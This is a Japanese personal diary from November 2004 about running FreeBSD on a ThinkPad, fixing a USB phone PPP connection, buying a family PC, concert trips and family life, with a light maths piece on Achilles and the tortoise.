うーむ FZ[123] 系でも大きすぎてやだという人が多いのですが、なんとあの巨大カメラを買う女性がいたとはちょっと驚きました。さらに購入の理由を聞いてみると、私が撮ったこちらの月の写真を見て、LUMIX の望遠系がいいな～と思ったという、とってもうれしいお話だったのです。それにしても口コミの威力恐ろしや！！。これはうかつに変てこな製品をほめたりすることは出来ませんな(^^。
＃確信はもてないのですが、もう一件営業が成功した事例がある様な気がします(^^;。
＃奥さまに話したら「どうして自分が作ってるのはあんまり売れないの？」という
＃きびしいつっこみが...(^^。

2004年11月30日(火)

一回休み

2004年11月29日(月)

Mac ノート PC の誘惑
ねたというより単なる希望だったりします(^^。つまり現行の X24 は壊れるまでがんばってもらい、その後 ThinkPad/Apple どちらにしようかという究極の選択をせまられるかな～、という話なのです。
この日記を読んで下さっている方々はご存知だと思うのですが、現在私は X24 上で FreeBSD を動かしてメインマシンとして使用しています。もちろんこれで特に不満があるわけではないのですが、それでもいくつか留意点がありまして、
- 新しいハードウエアーに対応していない場合がある。
- 通常使用するソフトウエアーはまかなえているが、やはり Windows や Mac に比すると、特に GUI 関連のソフトウエアー不足を感じる場合がある。例えば Firefox は現在問題なく動作し、Java・Flash・動画系(mplayer)もなんとか設定したが、このあたりが調子悪くなると自分では解決出来ない場合も多い。
- 新ご家族さま PC の WindowsXP が存外良い(^^;。
等々なのです。もちろん開発等で非常に役立っているし大好きな UNIX 系 OS と縁を切る気持ちは全く無く、OS 自体を XP にすることはありえません。
ところが最近ちまたのうわさを聞くに Mac OS X の評判はなかなか良く、さらにこの OS を採用した場合 FreeBSD/i386 で動作するアプリケーションはほとんど ports 化され、そのまま動作するという話も聞きました。問題はクロス開発で使用している Linux Emulation の機能なのですが、こちらは別途考えることとします。さてさてこれらの条件を考えると次機種の選択は Mac しか存在しない様な気分にもなってくるのですが、こちらもいくつか問題点がありまして、列挙しますと、
- 赤ぽっちんがついてない(^^。
- 使った人に聞いた所 ThinkPad ほど頑丈そうではない。
- ThinkPad に比べてキーボードがちゃっちい。
- 運用に慣れていない。
あたりなのです。いずれにしても、現在諸般の事情でお金を使いすぎて、バッテリーを買うのももったいないという極度の金欠状態だったりしますので、本当に悩みだすのは一年位先のことになると思います(^^。

2004年11月28日(日)

爆睡の日
深夜バスでは案外良く眠れたはずなのですが、やはり普通の眠りとは質が違うのかな(^^。

2004年11月27日(土)

弘前ロコンサート
8時38分仙台発のバスで弘前に向かう予定だったので、7時頃起床して 8時少し前にホテルをチェックアウト。近くの吉野屋で「ぶたどん」食べてバス乗り場へ。Y さん H さんと同乗だったのですが、乗り始めてしばらくの間とても美しい虹が見えて、「綺麗だね～」と話していたのですが、そのうち風が強くなってきて、途中の休憩でバスの外に出ると寒いのなんのって(^^。
さらに強風にあおられてバスの横揺れがとても強かったのです。
というわけでゆっさゆっさ揺れながら弘前駅に着いたのが 12時49分だったのですが、到着時刻予定が 12時48分だったので、強風での 50Km/h 規制があったりしたのにさすがプロですな(^^。弘前駅前は強風と横からの雨でとても寒かったです。その後 Y さん H さんと現地の下見をを兼ねて食事をしていたところで T さん K さんと合流。T さん K さんは新幹線で我々より早く到着するはずだったのに、強風の影響で 2時間ほど遅れたそうな。うーむ J さんは大丈夫なのだろうか。
心配していても事態が解決するわけではないので、T さん K さんと近場を探索して途中でケーキ大会しながら、5時頃 K さんが J さんに連絡したところ、すでに弘前に到着しているということでこちらは一安心だったのでした。いやいやもちろん J さんがコンサートを聴けなくなってしまうのを心配していたのであり、自分達の帰りのバスのチケットの心配などしていたなどということは絶対に...(^^。
17時15分頃再度現地に到着して 17時30分入場・18時コンサート開始。個人的には今月のソロコンサートで今日が一番良かったかな。浩子さんの話しによりますと、二月に新アルバムが発表されるそうで、その中の新曲も一曲披露されたのです。
新曲の題名は「あめのくに・あめのふね」(漢字のつけかたは不明)
で、透明感に満ちたなとても美しい曲でした。
コンサート終了後皆で食事をして、Y さんと 22時弘前発のバスに乗り翌朝 7 時に横浜到着。
考えてみると今回のコンサートの交通の手配は全部 J さんにお願いしたのでした。本当にお手数をおかけしました。とても楽しい二日間を過ごすことが出来ました。どうもありがとうございます。

2004年11月26日(金)

仙台ソロコンサート
午後から休暇をとり、J さんと一緒に15時少し前の新幹線で仙台到着が 16時 40分頃。その後ホテルにチェックインして、ベッドの上でごろごろしていているうちに寝てしまって、
目が覚めたら 18時5分でした(-_-)
しまった～、今日は 18時30分から開場でしかも整理番号方式！！これでは一番後ろの席になってしまう。ということで大急ぎで会場に向かって、ぎりぎり間に合いました(^^。
コンサート終了後 T さん K さん H さんと牛タンを食べて 23時頃ホテル到着。
USB 危機一髪
上の記事で「寝過ごした」とき通信中なのにあわてて X24 から AH-K3001V を抜いて(これやるとほとんどの場合 X24 がハングする)、X24 がリブートしているのを横目でみながら会場に向かったのですが、戻って来て AH-K3001V を挿すと、
/kernel: ucom0: abnormal status: IOERROR
なるメッセージが出て PPP が動作しません。あれれれ、中途半端なな状態で抜いたのでハードウエアーが変な状態になったのか、と思って一度 X24 の電源を落として再度ブート、その後 AH-K3001V を繋いだのですが状況は改善しません。むむむっ、これはもしかして USB のポートが壊れてしまったのでは。困ったな～、と思いながらもう一度 X24 の電源を OFF/ON して、念のために AH-K3001V の方の電源も OFF/ON して接続したらこんどは大丈夫でした。
原因としては、
1. X24 の調子が悪くなった
2. AH-K3001V 側の調子が悪くなった
3. その他
が考えられるのですが、1 が原因とすると一度電源を切ったのにだめだった理由が良く分りません。2 を仮定すると一見矛盾はないようですが、実はコンサート中に電源を切ったのは間違いないので、こちらも納得出来ません。まあ、この日記を書いている時点でも特に問題がないので、今後再現することもないと思われますが、ちょっと気持ちが悪いというのが本音だったりします。
ところでホテルには無線 LAN が完備してあり、「ご使用希望の方は専用のアダプターをフロントで受け取りイーサネットポートに接続して使用して下さい」ということだったのです。そこで例のごとく実験で、
# dhclient wi0
を実行したのですが接続は出来ませんでした。ifconfig コマンドで見ると電波自体は流れている様ですので、「専用のアダプター」とルーターの間で暗号化通信が行われていると推測されるのですが、なるほどこういう方法ですとなりすましや盗聴を抑制する効果はありそうです。そうはいっても、ポリシーがはっきりしない状態で(例えば規約にホテル側が盗聴しない等の記述がなかった)管理されたネットワークを使うのは好きでないので、速度が遅いとはいえ AH-K3001V の方を使い続けたのは当然だったのでした。
＃まあ盗聴されてもおうちとの間の ssh セッションしか見えないのですが(^^。

2004年11月25日(木)

X24 バッテリーの誘惑
購入後 2年間以上通勤時以外は常に起動していた X24 ですが、今やバッテリーが 3 分しかもちません。といいますか、AC アダプター未接続の場合、起動直後にすでに充電切れ警告ランプが点滅しているという悲しい状況なのです(^^;。
まあ、おうちで使う・会社にもってく・会社で使う・おうちにもって帰る、というパターンの使用方法なので、これはバッテリーにとっては最悪の条件と考えられ、寿命となったのも仕方がないのかも知れません。というわけで、バッテリーを交換したいのはやまやまなのですが、いまいち決断がつかなかったりします。つまり...
本当にバッテリーを使いたくなるのは平均して月に一回くらい。したがって価格が 14,490円として、あと一年 X24 にがんばってもらうと仮定すると、一回の使用料金が 1,000円以上になってしまう。
ということでして、これではコストパフォーマンスが悪すぎます。さらに、バッテリーの便利なところとしては、
- ちょっと別の場所に移動する場合いちいちシャットダウンしなくてもよい。
- 停電になったときシャットダウンする余裕がある。
あたりでして、今のバッテリーが 3分間もってくれればこれらの用途には十分です。ただし近々完全に使用不可能になる可能性もあるので、そのときは真面目に購入を検討する必要があるかも知れません。
ちなみに、購入後 3年経過した R30 の方は、年中電源が入っているせいか、まだいくらか余裕があるようで、こちらは短時間の停電に対する無停電装置として役に立つ場合もありそうです。もっとも、その場合モデムやハブが全滅するので、通信の維持という観点からはあんまり役に立たなかったりします(^^。

2004年11月24日(水)

いっかいやすみ

2004年11月23日(火)

ご家族さま PC 来たる
先週の土曜日に発注した新ご家族さま PC なのですが本日届きました。一番安いメモリーが 256M のを注文したので、さっそく昨日買っておいたバルク品の 256M バイトの RAM を追加してブートしたのですが、なんとなくハードディスクのアクセスが多いので調べてみると、
搭載メモリー容量が 256M バイトと表示されています(-_-)
しまったー、やはりいかがわしいバルク品を買ったのが失敗だったか～。ということでもういちど中を調べてみたらちゃんと刺さっていなかったりしました(^^。
ということでもう一度起動したところ、めでたく 512M バイトの RAM と認識され、さくさく動作するようになったのです。
WindowsXP というのは始めて使うのですが、複数ユーザーのコンテキストを保存しての切り替えが簡単に出来るのが、本来あたりまえの機能とは言え、ご家族さま PC の用途としてはなかなか便利です。ただおまけとしてウイルス対策ソフトがついてきまして、個人的には「常駐型のウイルス対策ソフトはそれ自体がウイルスである」と考えているので、機能を殺すのにちと苦労しました。
いずれにしても 6万円ちょっとの価格で、2.5G 強クロックの CPU を搭載し、メモリーが 512M、さらに DVD の読み書きも出来る PC が手に入るとは、通常の用途に十分な能力のデスクトップ PC もずいぶん安くなったものだと実感したのであります。

2004年11月22日(月)

portupgrade -a
今まで FreeBSD 環境の ports の更新は、自分が良く使うアプリケーションに対して個別に行っていたのですが、試しに土曜日から R30 と X24 の ports 全部の更新を行ってみました。環境としては R30 の方にはサーバーとして必要最小限のアプリケーションが導入されており、X24 の方は気分によりインストールして全然使わなかったりするアプリケーションもたくさん入っており、かなりの時間がかかると推測されたのです。
で、土曜日夕方から開始したのですが、日曜日の朝確認すると、両方ともメニューがでる ports の所で止まっていたりしました(^^。そこで、いくつか入力を行い継続したところ、R30 のアップグレードはは日曜日のお昼頃に完了しました。ところが X24 の方はと言いますと、これがなかなか終わらないのですねー。現在 X24 には 300近くの ports がインストールされており、そのほとんどを更新するのでしょうから、時間がかかるのは当然なのですが、いやはやこれは月曜の朝まで本当に終わるのかと少々心配になってきたのです。
幸い日曜(昨日)の 21時頃には完了いたしまして、胸をなでおろしたのですが、いくつか問題が生じまして、
X の起動が若干遅くなった。
WindowMaker 上で動くアプリケーションの一番上のなんとかバーの日本語が豆腐になった。
などなどいまいちご利益がない状態です。ただし X の起動はともかくとして、豆腐問題は設定で回避することが出来たのが幸いです。
というわけで、システムを最新の状況に保つためには、定期的にこの作業を行った方が良いのでしょうが、「ちゃんと動いていたのが動かなくなる」という危険もあるわけでして、なんとも悩ましいところであります。
＃まだ一日しか経っていないのに、さっき試しにもう一度始めたら沢山コンパイルしてるし...。
＃このあたりどんな運用されているか教えて下さるとうれしいです。→ FreeBSD ユーザーの方
ふむふむ禁断だったとは知らなかったです(^^;。いずれにしても全部を更新するのは少々無理があるようで、今後は以前どおり必要そうなものを選んで更新することになりそうです(^^。

2004年11月21日(日)

チケット予約ではまる
昨日の夜二女が、「明日の朝 10時から、友達と一緒に観に行くテニスの王子様のミュージカルのチケットを 2枚予約する」と言ってたのです。話を聞くとローソンまたは電話で予約できるそうで、「ローソンの端末は、人が並んでいたり、あんまり繋がりが良くない場合があるので、電話にしたらいいのでは」と言っておいたのですが...
二女は寝過ごしたりしたのです(^^
あわてて 10時20分頃から電話をかけはじめたのですが、全然通じないのです。横で見ていてちょっと可哀想になってきたので、私が急遽ローソン担当となり、近くのお店に行ったのですが、すでに端末を操作している人がいて、その人もおんなじチケットを取ろうとしているらしいのですが、全然繋がらないで、やっとこ 11時頃に繋がったら「チケットは完売しました」、ということであきらめて帰ってしまったのです。
こちらの方面は全くうといのですがとっても人気があるようです。
前の人と公演日時が違うかもしれず、二女が行きたい公演はまだ残っているかも知れないので、その後念のため 20分くらい端末を操作したのですが、やっと通信可能となったときは売り切れた後でした。
二女にだめだったと連絡しておうちに帰り、「まだ電話の方は残っているかもしれないからもうすこしかけ直したら」ということで、二女も 11時半ころまで挑戦していたのですが、なんとか繋がった時にはすでに売り切れとなっていました。いやはやこんな状況では寝過ごさなくてもとれなかったかも。まあちょっと気の毒ではありますが、二女も人気があるチケットをとる大変さが分り、一つ勉強になったということでよしとしましょう(^^。
奥さまに感謝する
実を言いますと、現在奥さまは出身大学の同窓会で、週に一度のアルバイトをしているのです。
ところが、昨日新しいご家族さま PC を購入することに決めたと話したところ、奥さまは、
「本当はあなたのノート PC も古くなってきたので、その足しになればとアルバイト代をためといたのだけど、私達が使う PC の方に使わなければいけなくなってしまって、なかなかうまくいかないものだね」
と言うのです。この話を聞いてちと目がうるんでしまいました。私はとっても自分勝手で、自分がやりたいことを本能のおもむくまま行動しているだけというのに、奥さまはいつも自分のことは置いといて、家族や私のことを考えていていてくれるのです。たしかに昔からそうだったし、私は迷惑のかけっぱなし。そろそろ恩返しをしないと...。なかなか自分勝手な性格は直らないと思うのですが、これからもう少し奥さまのことを考えて行動するようにしたいと思っていることを、ここに記しておきます。

2004年11月20日(土)

新ご家族さま PC 発注
というわけで、5 年以上も働いてくれた牛さまが壊れてしまったので、新規 PC の購入です。ところで、牛のゲートウエイは前の PC を買って一年ちょっとで突然撤退したし、 Dell は不愉快だし、IBM 以外の外資系はこりごりだったりします(^^;。
結局選んだのがエプソンダイレクトの一番安いこちらの商品でして、DVD を読み書きする機能はあった方がよさそうなので、そちらのオプションを選択し、RAM が 256M というのはちょっと少ないと思うのですが、512M に変更するととっても高いので、こちらは後で別途購入して追加する予定です。
余談ですが、当面ご家族さま PC がないと困るので、二女の PC を居間に持ってきて、ユーザー登録しみんなで使っています。二女にはやっぱり欲しがり始めた mimi-SD カードを買ってあげることにしようかな(^^。

2004年11月19日(金)

牛さま壊れる
昨日書いたように新しい PC を購入する計画を立ててはいるのですが、奥さまのご意見としては、「どうせメールとブラウザ位しか使わないし、遅いと言っても最初だけなので、新しいのを買うのもったいないよ。もう一度試してみたら」ということなのです。
そんなことがあったのと、さらに本当のことを書きますと、前回の再インストールのとき一部 CD から読めない部分があったのです。そこで、再インストール後も調子が悪いのは、それを強行したのせいもあるんだろうな～、と思っていたこともあって、本日もう一度インストールに挑戦したのですが、なんと今日はすんなりインストールできたのです(^^。ところがところが、
「いやはやうれしい、これはもう一年くらい牛さまにがんばってもらおう」と firefox ををダウンロードしてインストールしようとしたら、
展開中に CRC エラーなるものが出てインストールできません(-_-)。
何度ダウンロードしてもおんなじで、さらにエラーの出る場所が毎回違うのです。なんのことはない、再インストール前もその後も調子が良くなかったのは、メモリーの一部が不良になって、うまく読み書きが出来たり出来なかったりしていたためと思われるのです。むむむむむっ、5年間もだましだまし使ってきたのでさすがの牛さまもお疲れになられたようで...。いずれにしてもこれでふんぎりがつきました。新しいのを買うことにします！！。

2004年11月18日(木)

新ご家族さま PC 検討
先週 OS を再インストールしたご家族さま PC なのですが、firefox が落ちやすかったり、その他もろもろいまいち調子が悪かったりします。さらに 600MHz の CPU というのもさすがに時代遅れで、特に起動時のげきとろ感は否めません。というわけでそろそろ新しいのを買おうかな～、とも考えているのですが、スペックとしてはたいしたことは望まず、

CPU 2GHz 程度

HDD 40G 程度

Memory 512M 程度

CD/DVD 出来れば DVD の書き込みが出来るの

OS Windows XP Home Edition で良いかな

あたりの構成で十分です。とにかく安ければ良いのですが、残念ながら上記構成で 5万円以下というのはあんまり見当たらず、7万円くらいならなんとかという感じでしょうか。ちなみにあんまり好きではないのですが、安いといううわさもあるので、Dell のサイトも調べてみたのですが、見積りの画面に入ろうとすると、
Access Denied
弊社オンラインストアは、Internet Explorer4.0以上、
Netscape4.6以上でのみご使用いただけます。
なるメッセージが出て firefox ブラウザはアクセス禁止らしいのです。それにしても下の二行はともかく Access Denied とは失礼な！！。もしかするとこの記事が悪かったのかな。いずれにしてもこれはとっても不愉快ですな(-_-)。というわけで、今後 Dell の製品を個人で買うのは永久にありえないことが確定したのでした。

2004年11月17日(水)

地震のおと
私の勤めている会社は地震の計測関連の仕事もしているのですが、極悪ひかり男の N さんが地震波形を音声化したファイルを作ったのです。なんといいますかやはり「どか～～～ん」という感じでちと恐かったりするのです。
モカちゃん苦手に挑戦
昨日久しぶりに奥さまと話をしまして、モカちゃんの話題になったのですが、算数の塾で立体図形をうまく書けず、一時間の特訓を受けたということなのです。そもそもモカちゃんの話によりますと、数の計算・場合の数を求めること・距離や速度の問題なんかは好きだけど、図形の問題は余り好きでないということで、奥さまが「それならば塾の先生に好きな問題を沢山やらせて下さいとお願いすればいいじゃない」と言ったそうなのです。ところがその時モカちゃんは、
得意なところはいつでも勉強できるけど、苦手なところをちゃんとしとかないと後で困るので、図形の問題もきちんと勉強したい
という意味のことを言ったらしいのです。
おそらく図形に対する直観がいまいちなのは、私とおんなじなので、遺伝的な面もあると思うのですが、これを克服しようという努力するあたりが、なんというか、絶対に嫌いな勉強はしなかったし、今でもしない私との違いでして、小学校 5年生にして父親よりはるかに大人です。
というわけで、別に強制するつもりは毛頭ないのですが、モカちゃんが将来数学を専攻すると仮定すると、基礎論・集合論・数論あたりが合っているのかな～、と勝手に考えているばか親だったりするのでした(^^。

2004年11月16日(火)

おうちに帰る
昨日の段階で FPGA のプログラムが全部デバッグ完了ということで、今日は午前中位最終チェックをして、午後になったらそのままこっそりおうちに帰ってしまおうかな～、と思っていたのです。ところが甲府の会社の担当の人が、
今日は 4時頃からかがみさんの会社で打ち合わせがあるので、2時頃に車で一緒に行きましょう(-_-)
と言うのです。こっこれは...普段ならとってもありがたいお言葉なのですが、担当の人が会社に来ているのに私が戻らなかったら、さぼってるのがばれてしまうではないか(笑)。というわけで 16時頃におうちからとっても遠い会社に戻って来て、旅費の精算以外特にやる気もおきず、うだうだと退社時間を待っていたりします(^^。

2004年11月15日(月)

甲府出張
深夜バスで早朝 5時半に池袋駅前到着。新宿発甲府行き「あずさ 3号」は 7時半発で時間が余りすぎるので、池袋～新宿～東京～池袋～新宿と寝ながら山手線をひとまわり(^^。
で、結局今日もはまりて、なんとか一通り大丈夫な状態になったのですが、帰宅タイムアウトで泊りだったりします(^^;

2004年11月14日(日)

富山ソロコンサート
5時20分に家から藤沢駅まで奥さまに車で送ってもらい、5時40分の藤沢発羽田空港行きのバスに乗り 7時に羽田空港到着。7時45分発の JAL 便で富山空港に到着が 9時頃で、空港からバスに乗り富山到着が 9時半。K さんが予約しておいてくれた、G さんと私の帰りの深夜バスチケットを取りに JR で高岡に行き、駅周辺を二時間位うろついて富山に戻ったのです。その後コンサート会場を下見して、T さん K さんとケーキを食べたりして開演を待ちました。
コンサートの内容は後日記載の予定(最近書く暇がなくって^^)
コンサート終了後皆で富山の魚類を食し、高岡発 22時30分の深夜バスで池袋到着が翌日 5時30分。丁度 24時間の旅行だったのでした(^^。
もともと富山からの帰路は優雅なる個室寝台列車に乗るはずだったのですが、地震の影響での運休により色々紆余曲折の後、最終的に深夜バスで帰ることになり、体力的にはちょっときつくなったのですが、それはそれでとても楽しい一日でした。一生の想い出になると思います。今回錯綜した交通手段に関して色々助言を頂いたり、予約等のお手数をおかけした皆様に感謝致します。

2004年11月13日(土)

Windows2000 インストール
というわけで本日インストールを行ったのです。そこそこ順調に入ったのですが、ドライバーとかアプリケーションのインストールが面倒でした。まず firefox-1.0 をインストールするために IE を起動して、それから解凍関連のフリーソフトのインストールをしたのです。後はプリンターのドライバーとかを導入してやっとこ普通に使えるようになったのです。
ところで Windows Update を行おうとするとエラーになってしまいます。この状態で運用して大丈夫かな...。てなこと考えて何回かリブートしたところ、出来るようになったのですが、いやはや時間がかかるもので、本当に面倒ですな(^^。

2004年11月12日(金)

Windows2000 壊滅
限界だといいつつ再インストールをさぼっていた牛さまですが、ついに W2K が壊滅したようです(^^。奥さまの話によりますと、
ユーザープロファイルがなんとかかんとかと表示されて、「システム管理者 (私か？)にお問い合わせ下さい」なるメッセージが表示されて使えなくなった
そうで、実際に見てみると、デスクトップにインストール直後のアイコンしか並んでいなかったりしました。さらにタスクバーのスタートメニューの部分を見ても、ほとんどのプログラムが未登録状態になっていたのです。さらに不愉快なことに削除したはずの IE のアイコンはちゃんと復活していたりするのです。
メールや文書のデーターが残っていたのは不幸中の幸いですが、いよいよ明日再インストールする必要がありそうです。
＃それにしてもユーザー環境という重要なデーターを勝手に消してしまうとは、
＃いやはや、マイクロソフトという会社も不思議な OS を作るものです(^^。

2004年11月11日(木)

ひとまず帰る
いやはやなかなか大変なもので(^^。まあ出張デバッグも大分落ち着いてきたのですが、もうちょっと細かい部分を調整する必要がありそうです。今日はひとまずおうちに帰り、来週もう一度出張ということになりそうです。
出張の最大の成果は昨日の記事の AH-K3001V の件だったりします(^^。

2004年11月10日(水)

落ちなくなった FreeBSD over X24/AH-K3001V
前にも何回か書いたのですが、FreeBSD/X24 に AH-K3001V を繋いで使用していると OS ごとハングアップする場合が多かったのです。それでも余り大きいファイルの転送等をしなければ案外長持ちして、通常のメールの転送程度にはなんとか使用可能だったのですが、昨日あたりから急に調子が悪くなり、 PPP の接続完了後、自宅との間に ssh トンネルを掘っているときに、必ずハングアップするようになってしまったのです。うーむこれは困りましたな。私の場合 ssh のトンネルを掘って、それを経路として HTTP や SMTP を通すのが通常の運用であり、この経路がなくなるととても不便なのと、こんなに調子が悪いのではトンネルを通さなくてもすぐに落ちることは間違いありません。
というわけで、やはり全然使いものにならないととっても不便なので、ちょっと真面目に考えたのですが、上のリンクに書いたように
通信中に意図しない送信エラーが発生する
のが最大の問題であるような気がするのです。さらに、送信エラーが発生するのはフロー制御を行っている場合のタイムアウトに誘引される場合が多いと推測されるので、もしかしたらこれはフロー制御をやめれば良いのではないかと考え、/etc/ppp/ppp.conf に次の二行...
set ctsrts off
set crtscts off
を追加したところ、なんかとても安定して動作するようになったのです(^^。さらに、シリアルポートレベルでのフロー制御をやめることによりデーターのとりこぼしが発生し、結果的に実効速度が遅くなったり、最悪大きなパケットについては通信が不能になることを心配したのですが、これに関しても TCP レベルでのフロー制御がうまく働いているようで、特に問題はないようです。いやはや FreeBSD を使用しての USB ポート経由のシリアル通信に関して、ちょっと怪しい部分があるとはこちらの現象でも感じてはいたのですが、本当にフロー制御が引き起こすタイムアウトがまずいらしいのです。それにしても、前々からフロー制御が怪しいと感じていたのに、どうして ppp.conf をいじることに気がつかなかったのは謎なのです。おおまぬけとしか言いようがありませんな(^^。

2004年11月9日(火)

甲府出張二日目
いやはや忙しいですな(^^。木曜日まで延びそう。

2004年11月8日(月)

甲府出張
今日から最低三日間の予定の出張で、内容は開発した物件の検証・デバッグなのです。相手様は FPGA がらみのハードウエアーということなので、「とりあえず動く」という状況まで結構大変だったりします。
ところで本日の朝 AH-K3001V と PC を接続する USB ケーブルをおうちに忘れまして、「昼間 PC をネットワークに繋ぐのは、お客さまのところにお願いすれば良いけど、AH-K3001V の充電も出来なくて困ったな～」なる事態に陥ったのですが、なんとか新宿駅前のビックカメラで調達出来まして、胸をなでおろして「特急あずさ」に乗り込んだのでした(^^。

2004年11月7日(日)

浜松ソロコンサート

2004年11月6日(土)

二女のケータイ
入学した時に買った高校二年生の二女のケータイの電池が全然もたなくなってきたので、本日は新しいのを購入です。実を言いますと二女の誕生日(夏です) に「特に欲しいのがないな～」ということでなんにもあげてなかったので、そのかわりという意味もあったりします。
電気屋さんで二女が選んだ機種は au の A5407CA というもので、なんか 200万画素のカメラとか着うた機能がついて、新規購入ですとお値段が 100円(笑)なのですが、機種変更にすると 13,500円位するのです。二女としては電話番号やメールアドレスを変えたくないので、できれば機種変更にしたかったらしいのですが、
新規契約にするならお小遣い 5,000円あげるよ～(^^。
なる私の誘惑に負けて、「みんなに新しい番号やアドレス知らせるの面倒だけど、5,000 円というのも魅力あるな～」と悩みに悩んで新規購入となったのでした(^^。
余談ですが 200万画素のカメラを使って最大の大きさで写真を撮ると、8枚程度しか保存できないらしいので、私の予想としては、近々 5,000円の一部は miniSD カード購入費に消えるのでは、と思ったりしているのです。

2004年11月5日(金)

車のバッテリー上がる
実は、一ヶ月前位から車のエンジンのかかりが悪くなってきて、奥さまと「そろそろバッテリー交換しないといけないかな～」なんて話していたのです。ところが、本日奥さまから会社にメールがありまして、銀行の駐車場に止めてエンジンをかけようとしたら、何回もかからなくて、幸いその時はかかったそうなのですが、とにかく限界という感じだったので、そのまま車屋さんに直行したとのことなのです。
そこで、電圧かなんかを計る機械で消耗度合を調べてもらったらしいのですが、調べ終わったらかからなくなっていたそうな(^^。いやはや本当に限界だったらしく、車屋さんまでたどりつけたのは幸運でした。ところで、面白かったのがその時の車屋さんの言葉でして、
別の車のバッテリー繋げばエンジンかかりますがどうしましょうか(^^
ということなのです。いや～、エンジンかけてもらうのはうれしいですが、こんど止まったらアウトじゃないですか。というわけで、6千数百円なりで新しいバッテリーに交換してもらったらしいのですが、四年近く乗った車なので丁度寿命になったということなのでしょう。

2004年11月4日(木)

極悪ひかり男
先日会社の N さんがお引越をされたのですが、前のおうちでのインターネット接続環境は ISDN だったそうなので、新しいおうちでは「ADSL にした方がいいですよ～(^^」なんて話をしていたのですが、お引越先では ADSL の接続が出来ない環境なのだそうです。ふふふ、これで私より遅い人が一人残るのか...、良かったな～、なんて思いつつ「それは残念ですね。ということはまた ISDN なのですね」と一応残念そうに言ったのでが、N さんは、
光回線しか来ていないから ADSL には出来ないらしい。仕方ないので 100Mbps の光接続を申し込んだんだけど何か良いルーター知らない(-_-)
とやけにうれしそうな顔して自慢するのです。さらに N さんが言うには、
そんなにインターネットに接続するわけでないし、重いページも見ないから体感速度は変わらないでしょ(-_-)
ということでして、そもそも速い人が「体感速度は変わらない」うんぬん言う場合、間違いなくじまん話なのであり、本当にけしからんというかまことに極悪なのです。
それにしても私の勤めている会社には困った人が多いというかなんというか、そういや前に H さんも一度私を喜ばせてから奈落の底に落としたという前科があったりして、いやはや皆さん景気の良い話が好きなようで、実に不愉快だったりしたのでした(^^。

2004年11月3日(水)

桐生ソロコンサート
藤沢 8時発の小田急線で新百合ヶ丘 8時37分着。ここで K さんの車に同乗させて頂き K さん、T さん、S さんと桐生へ向かいお昼頃現地に到着したのです。現場の下見とかをして、近くのお店で昼食(私はハンバーグランチ)。二時頃に J さん達と合流して、現地で富山や仙台・弘前の打ち合わせや雑談をしながら開演を待っていたのです。
実は、時間の都合で帰りは最終の新幹線の予定だったのですが、J さんの指摘により指定券が無効であることが分かり、さらに本当に走っているのかも不明ということで、もしかして帰れないのか～、と一瞬あせったのですが、K さん所有の時刻表によると、乗ろうとした新幹線自体は走っていることが分かり一安心したのです。

コンサートの内容に関しては後日記述の予定。
コンサート終了後 21時頃 JR 桐生駅に着きまして、O さんと桐生から高崎経由で予定の一つ前の新幹線で東京へ(O さんは大宮で降車)向かい、藤沢着が翌日 0 時15分頃でした。
高崎から東京への新幹線の指定席は無効となっていたので、駅の人に聞いたら降りるところで自由席との差額を清算して下さいとのこと。ところが東京では「藤沢で清算して下さい」と言われ、藤沢に着いたら「今は深夜で清算出来ないので、明日以降窓口で清算して下さい」とこのとでした。
＃この日記は 11月5日に書いているのですが、11月4日の会社の帰りに清算しようと
＃したら、人が沢山並んでいてなんか 20分位待たないとだめそうだったので、
＃まだ清算してなかったりします(^^;。

2004年11月2日(火)

鈍足亀の逆襲
先日、通常の速さで走った場合アキレスは亀に追いつけるということを説明する記事を書きましたが、なんといっても亀様は一万年も生きるというアキレスにはない有利さを持っておりまして、アキレスに追い抜かれない方法を長年考えたのです。亀の考えとしては、
- 生まれつきの鈍足ゆえアキレスより速く走ることは不可能である。
- ただし時間はいくらでもあるので、長年修行を積むことにより、アキレスの速さに十分近づくことは可能なのではないか。
というわけで、山にこもりて数千年の修行を行い、アキレスよりやや遅いという程度の脚力を得るとともに、次の戦略を考えたのです。

アキレスの位置亀の位置

1 1 + 1/2

1 + 1/2 1 + 1/2 + 1/3

... ...

1 + 1/2 + 1/3+...+1/n 1 + 1/2 + 1/3 +...+ 1/n + 1/(n+1)

... ...

要するに前回の話におけるは底が 1 より小さい指数関数で級数和が収束してしまったのがまずかったのであり、今度はとなるようにすれば
$\sum_{n=0}^{\infty}{p_n}~=~\sum_{n=0}^{\infty}{1/n}$
が(きわどく)発散して、自分の方が常に遅いのにもかかわらず、アキレスは「永久に追いつけないであろう」と考えたのです。さてさて簡単のためにアキレスの速度を 1 として亀が走るに必要な速度を求めると、ステップ目のアキレスの位置が
$1~+~1/2~+~1/3~+~\cdots~+~1/n~\,\sim\,~\log(n)$
そのとき自分が
$1~+~1/2~+~1/3~+~\cdots~+~1/n~+~1/(n+1)\,\sim\,\log(n+1)$
の場所にいれば良いのですが、アキレスの速度は 1 なので時刻をの関数で表すと
$t=\log(n)$
したがってステップのときに、亀はの位置にいれば良いということになります。これを時刻に関して微分すると、亀の速度はは
$v(t)~=~\frac{e^t}{e^t~+~1}$
となり確かに 1 より小さい速度となります。またその時の位置は(上記を積分して...というか元の式より)
$s(t)~=~\log(e^t~+~1)~>~\log(e^t)~=~t$
となり、亀は最初にの距離だけ先行すれば、最初の推測通りアキレスは永久に追いつけないことが分ります。まあ漸近的に近づくことを考えれば特に驚く現象ではないのですが、調和級数の考察からこのような結果が導かれるのもちょっと面白いと思ったのでした。

2004年11月1日(月)

FreeBSD マウス割り込み
余り性能(というか設計)がよろしくない 10年位前の通信ボードのメンテナンスを行っているのです。このボードはもともと FreeBSD-3 系で動作しておりまして、さすがにこのヴァージョンは古すぎるのと、さらに最近の PC にインストールすることも難しくなってきたということで、 FreeBSD-4.X 用に新しいドライバーを書いて、今後はこちらで運用するように決めたのです。
ところが長時間連続してテストすると、まれにデータをとりこぼすのです。最初に設計が良くないと書きましたが、通信量が多い場合このボードには一秒間に 300回程度割り込みが入りまして、
割り込みを一度でもとりこぼすとデーターが欠落する(-_-)
という極悪仕様なのです。ただし普通の運用で、一秒間に 300回程度の割り込みを取りこぼす(というかだんごになる)というのも変な話です。さらに観察すると、なんかキーボードをいじっていたり、近くを人が通ったりするデーターが落ちやすかったりしまして、いくらなんでもキー入力と関係があるとは思えないし、ましてや人が通るとデーターが落ちるというのはますます原因不明ということで、変だな～、困ったな～と考え込んでしまったのです。
そんなこんなで色々実験していたのですが、なかなからちがあかず、無意識に マウスをいじったのですが、まさにその時
連続して大量のデーターを落としました(^^;
